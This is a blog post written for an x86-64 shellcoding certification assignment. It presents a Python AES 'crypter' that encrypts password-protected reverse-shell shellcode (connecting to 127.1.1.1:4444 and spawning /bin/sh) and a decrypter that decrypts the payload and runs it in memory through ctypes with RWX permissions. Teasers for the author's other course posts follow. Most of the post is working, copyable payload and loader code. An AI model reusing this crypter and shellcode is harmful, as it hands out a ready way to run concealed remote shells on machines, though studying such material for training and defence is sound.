Skip to main content

SLAE64 - Assignment 7

This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below.

Previous Posts:

The requirements for Assignment 7 are as follows:
  • Create a custom crypter like the one shown in the "crypters" video
  • Free to use any existing encryption schema
  • Can use any programming language

This assignment, like the SLAE32, was quite fun. I actually reused some code for the encryption and decryption process but decided to try this out with the new Reverse Shell with Password from Assignment 2. Here's the encrypter.py

#!/usr/bin/env python

####################################################
#
# shellcode-crypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE64-1439
# November 8, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
#import argparse
import os
import hashlib


#---------------------------------------
#
# Define our Encryption Functions
#
#--------------------------------------

def aesCrypter(key, shellcode):
  salt = os.urandom(16)
  initVector = os.urandom(16)
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  encrypterObject = AES.new(hashedKey, mode, initVector)
  messageToEncrypt = shellcode
  cipherText = initVector + salt + encrypterObject.encrypt(messageToEncrypt)
  print "\n\n[+] RAW AES Encrypted Shellcode: \n%s" % cipherText.encode('hex')
  print "\nShellcode Length: %d" % len(cipherText)
  print "\nKey: %s" % key
  print "\nHashedkey: %s Len: %d" % (hashedKey.encode('hex'), len(hashedKey))
  print "\nSalt: %s Len: %d" % (salt.encode('hex'), len(salt))
  print "\nIV: %s Len: %d\n\n" % (initVector.encode('hex'), len(initVector))
  encShellcode = ''

  for i in bytearray(cipherText):
    encShellcode += '\\x%02x' % i

  print '\n[+] Encrypted Shellcode: "%s"\n\n' % encShellcode
  sys.exit(0)

def main():
  # Setup the argument parser

#  parser = argparse.ArgumentParser()
#  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", 
#                       dest='shellcode', required=True)
#  parser.add_argument('-k', '--key', help='AES key to use for encryption', 
#                       dest='key', required=True)
#  options = parser.parse_args()

  # Prepare some objects

#  key = options.key
#  shellcode = options.shellcode

  shellcode = (
"\x48\x31\xc0\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31"
"\xd2\x48\x83\xc2\x06\x0f\x05\x48\x89\xc7\x48\x31\xc0\xb0\x2a\x48\x31\xd2\xb2\x10\x48"
"\x31\xf6\x56\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\x89\x74\x24"
"\xf6\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x89\xe6\x0f\x05\x4d\x31\xc9\x49\x89\xf9"
"\x4d\x31\xf6\x41\x56\x49\xbe\x48\x34\x78\x78\x30\x72\x30\x31\x41\x56\x49\x89\xe6\x48"
"\x83\xec\x10\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6"
"\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x4c\x89\xcf\x6a\x01\x58\x48\x31\xf6"
"\x56\x48\xbe\x73\x77\x6f\x72\x64\x3a\x20\x0a\x56\x48\xbe\x65\x72\x20\x61\x20\x50\x61"
"\x73\x56\x48\xbe\x65\x61\x73\x65\x20\x45\x6e\x74\x56\x66\x68\x50\x6c\x48\x89\xe6\x48"
"\x31\xd2\xb2\x1a\x0f\x05\x48\x31\xc0\x48\x31\xf6\x56\x48\x8d\x74\x24\xf0\x48\x31\xd2"
"\x80\xc2\x10\x0f\x05\x4c\x89\xf7\x48\xa7\x74\x02\x75\xaa\x48\x31\xc0\xb0\x3b\x48\x31"
"\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x56\x66"
"\x68\x2d\x69\x4d\x31\xd2\x49\x89\xe2\x56\x41\x52\x57\x48\x89\xe6\x48\x31\xd2\x52\x48"
"\x89\xe2\x0f\x05")

  key = 'slae64'

  while (len(shellcode) % 16 !=0):
    shellcode += "\x90"

  aesCrypter(key, shellcode)


if __name__ == "__main__":
  main()

Our decrypter.py will essentially decrypt, and execute our shellcode. Funny side note, I actually received a ton of segmentation faults when running the decrypter script. After about 10 segfaults and checking the code, I realized the segmentation faults were caused by me not running a listener. That's when I knew I needed to take a break for the evening. anyways, here's the decrypter script. Anyways, for the bottom portion of this script, I relied heavily on http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html and modified it for readability. This allows us to execute our decrypted shellcode using Python! Yes!

#!/usr/bin/env python

####################################################
#
# shellcode-decrypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE64-1439
# November 8, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
#import argparse
import os
import hashlib
from ctypes import *


#---------------------------------------
#
# Define our Decryption Functions
#
#--------------------------------------


def aesDecrypter(key, IV, shellcode, salt):
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  initVector = IV
  decrypterObject = AES.new(hashedKey, AES.MODE_CBC, initVector)
  messageToDecrypt = shellcode
  clearText = decrypterObject.decrypt(messageToDecrypt)
  #print "\n\n[+] RAW AES Decrypted Shellcode (non hex encoded): \n\"%s\"\n\n" % clearText
  return clearText
  sys.exit(0)

def pwn():
  # Setup the argument parser

#  parser = argparse.ArgumentParser()
#  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", 
#                        dest='shellcode', required=True)
#  parser.add_argument('-k', '--key', help='AES key to use for encryption', 
#                        dest='key', required=True)
#  options = parser.parse_args()


  # Prepare some objects
  encryptedPayload = (
"\xa3\x39\x74\x0a\xf3\x66\x25\xad\x99\xb7\xb1\xa2\x5f\x8f\xfe\x46\xc0\xca\xd7\xb3"
"\x2d\x07\x04\xe0\x3a\x2f\x18\xbf\x4c\x12\x70\xe1\xe7\xda\x39\x2f\x1d\x8a\x19\xc3"
"\x5f\xb0\xeb\x11\xd0\x19\xa6\x1d\x91\x08\xb0\x5c\xc9\x5a\x21\xd9\xc2\xc9\x5a\xce"
"\x1d\x96\x7e\xa4\xa0\x68\xad\xd7\x9d\x89\x1e\x93\x03\xef\xfc\xe1\xed\xfd\x01\x2e"
"\xb7\xb8\x99\x58\xee\x1b\xaa\xbd\xa1\x99\xe7\x61\xbc\xaa\xd2\x4c\x7e\x7f\x5c\xc4"
"\x13\xc2\xb6\x13\xaf\xad\x34\xb1\x9e\x13\x79\x12\x6c\x9f\x46\xde\xd1\x37\xd7\xc8"
"\x8e\xcb\x44\x8d\x5d\x9e\xbd\xe3\x65\x33\x06\x87\x25\xc7\xa5\x9e\x97\x25\xd3\x62"
"\xa7\xbb\x10\xf5\x3b\x5a\x84\x6c\x8e\x14\x62\xe3\x85\x80\xe6\x59\xa5\x99\x03\x96"
"\x0e\x6e\xdc\x20\x01\x9e\xa0\xdf\x1b\xc5\xd0\x2b\xc8\x59\x0f\x00\x1e\xa3\x7b\x95"
"\x22\xd5\x32\x5b\xf1\x6a\x39\x9d\xfb\xf6\xf6\xc5\xc2\xb9\x70\xa0\xd3\x9b\xe6\x36"
"\xf1\xe8\xad\xdd\x30\x41\xca\xf0\x6c\x7b\x73\xc6\x43\x00\x0b\x6c\x6c\x4f\x53\xfc"
"\x64\x8b\x93\xfa\x4f\x33\x66\x58\xe3\x18\x2d\x50\xe8\x90\xed\x89\xa2\xf9\x73\xbf"
"\x1e\x2e\x1d\x18\x45\x9a\x6f\x70\x75\x91\x78\xcc\xa9\x99\x51\x2a\xb0\x03\x12\x23"
"\x95\x1b\x6a\x79\x30\x9a\x6b\x95\x2b\x94\x61\x87\x41\x54\xc5\x15\x62\x74\x6e\xc7"
"\xd6\xff\xde\x08\x21\x26\xf0\x97\x86\x91\xbe\xa6\x2a\xa4\xa9\x8c\x00\x82\x5e\x91"
"\x3c\xf8\xf6\xf9\x18\x7f\xa8\x06\xe2\x0b\xf5\x00\x9c\xb4\xaf\xf1\x89\xa6\xb4\xb7")


#  encryptedPayload = (options.shellcode).replace("\\x", "").decode('hex')
  IV = encryptedPayload[:16]
  salt = encryptedPayload[16:32]
  key = 'slae64'
  shellcode = encryptedPayload[32::]

  decrypted = aesDecrypter(key, IV, shellcode, salt)


  # now we need to run our shellcode from here

  # use ctypes.CDLL to load /lib/i386-linux-gnu/libc.so.6

  libC = CDLL('libc.so.6')

  #print decrypted
#  shellcode = str(decrypted)
#  shellcode = shellcode.replace('\\x', '').decode('hex')


#  code = c_char_p(shellcode)

  code = c_char_p(decrypted)
#  sizeOfDecryptedShellcode = len(shellcode)
  sizeOfDecryptedShellcode = len(decrypted)

  # now we need to setup our void *valloc(size_t size) and get our pointer to allocated memory

  memAddrPointer = c_void_p(libC.valloc(sizeOfDecryptedShellcode))

  # now we need to move our code into memory using memmove 
  # void *memmove(void *dest, const void *src, size_t n)

  codeMovePointer = memmove(memAddrPointer, code, sizeOfDecryptedShellcode)


  # now we use mprotect to make sure we have read, write, and execute permisions in memory
  # R, WR, X = 0x7

  protectMemory = libC.mprotect(memAddrPointer, sizeOfDecryptedShellcode, 7)
#  print protectMemory

  # now we set up a quick execution for our shellcode using cast ctypes.cast = cast(obj, typ)
  # we'll have to call ctypes.CFUNCTYPE to identify memAddrPointer as void * (c_void_p) type

  executeIt = cast(memAddrPointer, CFUNCTYPE(c_void_p))
#  print run
  executeIt()



if __name__ == "__main__":
  pwn()

After we make sure to setup our listener, we execute the decrypter.py script and see that it does in fact successfully decrypt and execute our shellcode. That's some fancy use of CLIBS in Python.




I hope you've enjoyed this blog series and really recommend going after the SecurityTube training. I have been pleasantly surprised with not only the SLAE32 and SLAE64 course but all of the videos accessible in Pentester Academy. I do plan on writing about my full experience with these trainings in a future blog. You'll just have to stay tuned!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:


http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html

Student ID: SLAE64 - 1439


Comments

Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html) and SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html), I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html). So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…